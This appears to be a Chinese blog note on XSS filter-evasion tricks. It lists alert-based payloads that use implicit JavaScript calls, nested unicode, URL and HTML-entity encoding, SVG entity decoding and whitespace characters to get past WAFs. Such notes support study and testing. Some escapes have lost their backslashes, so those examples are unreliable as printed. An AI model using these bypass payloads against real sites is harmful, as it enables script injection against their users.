XSS那些tricks

  • 2020 年 3 月 31 日
  • 筆記

title: XSS那些tricks


0x00 XSS的WAF防護

最近碰到的兩種方式

  1. 字符串匹配,匹配惡意關鍵字,比較常見。一般手段為正則匹配,繞過可以通過編碼,或者注釋符,或者瀏覽器渲染特性進行繞過。
  2. 解析js語法。通過截取指定標籤內容,對js進行靜態語法樹解析,對解析出來的語法樹進行遍歷,在語法樹的各個節點進行hook,在節點進行判斷。如函數調用的call expression,若call的字符串為alert,則封禁。

0x01 javascript的隱性調用

在調用某些對象,或者執行某些方法時,會自動隱式的調用某些函數。這裡有個缺憾,自動調用的函數是不帶參數的,並沒有找到可以利用的方法(在空白頁面),不同環境下有其他利用方法?

一、toString和valueOf

obj進行值運算時,如==,+,-等,會自動調用toString,或者valueOf方法。

payload:

  • toString=alert;this-1
  • valueOf=alert;this-1

二、JSON對象的toJSON

如果JSON的stringify方法傳入的對象有toJSON方法,那麼該方法執行的對象會轉為toJSON執行後返回的對象。

payload: toJSON=alert;JSON.stringify(this);

三、promise對象的 then

當Promise.resolve方法傳入對象時,如果存在 then 方法會立即執行then方法,相當於把方法放入new Promise中,除了Promise.resolve有這個行為外,Promise.all也有這個行為。

payload:

  • then=alert;Promise.resolve(this).then()
  • then=alert;Promise.all([this]).then()

四、thow和onerror

payload: <script>onerror=alert;throw 1</script>

0x02 編碼

先知道哪些標籤會進行解碼,還有組合在一起時的解碼順序,才會知道在繞過時如何進行編碼。

  • unicode 編碼,形如u003c。js標籤會自動解碼。
    • <script>alert(1)</script> => <script>u0061u006cu0065u0072u0074(1)</script> (括號及括號內的不可進行unicode16進制編碼)
    • <a href="javascript:u0061u006cu0065u0072u0074('xss')">test</a>
  • url解碼
    • <a href="javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(3)">a</a> 先unicode編碼再urlencode編碼。
    • <a href="javascript:%5Cu0061%5Cu006c%5Cu0065%5Cu0072%5Cu0074%283%29">a</a>
  • html實體編碼
    • <a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x27;&#x78;&#x73;&#x73;&#x27;&#x29;">test</a>
    • <a href="javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(3)">a</a> 進行編碼=> <a href="&#x006a;&#x0061;&#x0076;&#x0061;&#x0073;&#x0063;&#x0072;&#x0069;&#x0070;&#x0074;&#x003a;&#x0025;&#x0035;&#x0043;&#x0075;&#x0030;&#x0030;&#x0036;&#x0031;&#x0025;&#x0035;&#x0043;&#x0075;&#x0030;&#x0030;&#x0036;&#x0063;&#x0025;&#x0035;&#x0043;&#x0075;&#x0030;&#x0030;&#x0036;&#x0035;&#x0025;&#x0035;&#x0043;&#x0075;&#x0030;&#x0030;&#x0037;&#x0032;&#x0025;&#x0035;&#x0043;&#x0075;&#x0030;&#x0030;&#x0037;&#x0034;&#x0025;&#x0032;&#x0038;&#x0033;&#x0025;&#x0032;&#x0039;">a</a>
  • 混合編碼 1. 原代碼 < <a href="javascript:alert('xss')">test</a> 2. 對alert進行JS編碼(unicode編碼) <a href="javascript:u0061u006cu0065u0072u0074('xss')">test</a> 3. 對href標籤中的u0061u006cu0065u0072u0074進行URL編碼 <a href="javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34('xss')">test</a> 4. 對href標籤中的javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34('xss')進行HTML編碼: <a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x31;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x36;&#x33;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x35;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x32;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x34;&#x28;&#x27;&#x78;&#x73;&#x73;&#x27;&#x29;">test</a>
    1. 對javascript:alert(1)進行HTML編碼      <img src=xxx onerror="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;">      2. 對alert進行JS編碼      <img src=xxx onerror="javascript:u0061u006cu0065u0072u0074(1)">      3. 以上兩種方法混用      <img src=xxx onerror="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x5c;&#x75;&#x30;&#x30;&#x36;&#x31;&#x5c;&#x75;&#x30;&#x30;&#x36;&#x63;&#x5c;&#x75;&#x30;&#x30;&#x36;&#x35;&#x5c;&#x75;&#x30;&#x30;&#x37;&#x32;&#x5c;&#x75;&#x30;&#x30;&#x37;&#x34;&#x28;&#x31;&#x29;">
  • svg的xml屬性

payload: <svg><script>&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x27;&#x78;&#x73;&#x73;&#x27;&#x29;</script>

svg標籤後接的scrpt標籤,會自動進行一次實體解析。

其實可以混合編碼利用:先unicode16進制編碼,再實體編碼。

1. alert(1)  2. u0061u006cu0065u0072u0074(1)  3. &#x005c;&#x0075;&#x0030;&#x0030;&#x0036;&#x0031;&#x005c;&#x0075;&#x0030;&#x0030;&#x0036;&#x0063;&#x005c;&#x0075;&#x0030;&#x0030;&#x0036;&#x0035;&#x005c;&#x0075;&#x0030;&#x0030;&#x0037;&#x0032;&#x005c;&#x0075;&#x0030;&#x0030;&#x0037;&#x0034;&#x0028;&#x0031;&#x0029;  4. <svg><script>&#x005c;&#x0075;&#x0030;&#x0030;&#x0036;&#x0031;&#x005c;&#x0075;&#x0030;&#x0030;&#x0036;&#x0063;&#x005c;&#x0075;&#x0030;&#x0030;&#x0036;&#x0035;&#x005c;&#x0075;&#x0030;&#x0030;&#x0037;&#x0032;&#x005c;&#x0075;&#x0030;&#x0030;&#x0037;&#x0034;&#x0028;&#x0031;&#x0029;</script>

0x03 空白字符

payload從瀏覽器地址欄到頁面上有一次url解碼,可以理解為經過了一次unscape函數。

alert=function(i){  console.log(i.toString(16))  };  for(i=0;i<257;i++){  try{eval('alert'+String.fromCharCode(i)+'('+i+')')}catch(e){}}      結果:09 0a 0b 0c  0d  20

payload:<script>%0b%0balert%0b%a%0c(1)</script>

利用條件為從地址欄到頁面輸出。可以用來繞過waf。

0x04 一些奇奇怪怪的payload

Lol:Function`alert(1)`

!class extends`${alert(1)}`{}

0x05 參考